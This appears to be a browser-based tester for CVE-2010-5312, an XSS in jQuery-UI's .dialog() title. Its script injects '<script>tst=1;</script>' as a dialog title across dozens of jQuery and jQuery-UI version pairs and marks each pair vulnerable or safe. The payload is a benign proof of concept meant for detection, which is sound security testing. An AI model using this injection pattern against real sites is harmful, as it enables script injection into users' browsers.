jQuery-UI XSS via .dialog() method's "title" argument [CVE-2010-5312]

• Firefox
• Chrome

					
var jQuery_version = '';
var UI_version = '';
function vulnerable(){
	addError('jQuery '+ jQuery_version, 'jQuery-UI ' + UI_version, '<b>Vulnerable</b>');
}

function safe(){
	addSuccess('jQuery '+ jQuery_version, 'jQuery-UI ' + UI_version, 'Safe');
}
	
function removeIframe(){
	var x = document.getElementById('jQueryFrameID');
	x.parentNode.removeChild(x);
}


function test(data){
	try{
	    console.log(data)
	    
		jQuery_version = data.substring(0,data.indexOf(":"));
		UI_version = data.substring(data.indexOf(":")+1,data.length);
		
		var jQueryFrame = document.createElement('iframe');
		jQueryFrame.id = 'jQueryFrameID';
		var exploitHTML = '<div id="dialog"></div><script src="//ajax.googleapis.com/ajax/libs/jquery/'+ jQuery_version.toString() +'/jquery.js"><\/script><script src="//code.jquery.com/ui/'+ UI_version.toString() +'/jquery-ui.js"><\/script><div id="dialog"></div><script>var tst=0;$(function(){$("#dialog").dialog({ title: "<script>tst=1;<\\/script>" });});setTimeout("if(tst==1){parent.vulnerable()}else{parent.safe()};parent.removeIframe()",50)<\/script>';
		document.body.appendChild(jQueryFrame);
		iframeDoc = jQueryFrame.contentDocument || jQueryFrame.contentWindow.document;
		iframeDoc.open();
		iframeDoc.write(exploitHTML);
		iframeDoc.close();
		
	}
	catch(err){
		addInfo(jQuery_version , UI_version,  'Some Error Occured: ' + err);
	}
}

					
				

					
var jquery = ['2.0.3', '2.0.2', '2.0.1', '2.0.0', '1.10.2', '1.10.1', '1.10.0', '1.9.1', '1.9.0', '1.8.3', '1.8.2', '1.8.1', '1.8.0', '1.7.2', '1.7.1', '1.7.0', '1.6.4', '1.6.3', '1.6.2', '1.6.1', '1.6.0', '1.5.2', '1.5.1', '1.5.0', '1.4.4', '1.4.3', '1.4.2', '1.4.1', '1.4.0', '1.3.2', '1.3.1', '1.3.0', '1.2.6', '1.2.3'];
var ui = ['1.12.0-rc.2', '1.12.0-rc.1', '1.12.0-beta.1', '1.11.4', '1.11.3', '1.11.2', '1.11.1', '1.11.0', '1.11.0-beta.2', '1.11.0-beta.1', '1.10.3', '1.10.2', '1.10.1', '1.10.0', '1.10.0-rc.1', '1.10.0-beta.1', '1.9.2', '1.9.1', '1.9.0', '1.9.0-rc.1', '1.9.0-beta.1', '1.8.24', '1.8.23', '1.8.22', '1.8.21', '1.8.20', '1.8.19', '1.8.18', '1.8.17', '1.8.16', '1.8.15', '1.8.14', '1.8.13', '1.8.12', '1.8.11', '1.8.10', '1.8.9', '1.8.8', '1.8.7', '1.8.6', '1.8.5', '1.8.4', '1.8.3', '1.8.2', '1.8.1', '1.8.0', '1.7.3', '1.7.2', '1.7.1', '1.7.0'];
var data = [];
var d = 0;

for(var i in jquery){
	for(var ii in ui){
        data[d] = (jquery[i] + ":" + ui[ii]);
        d++;
        
    }
}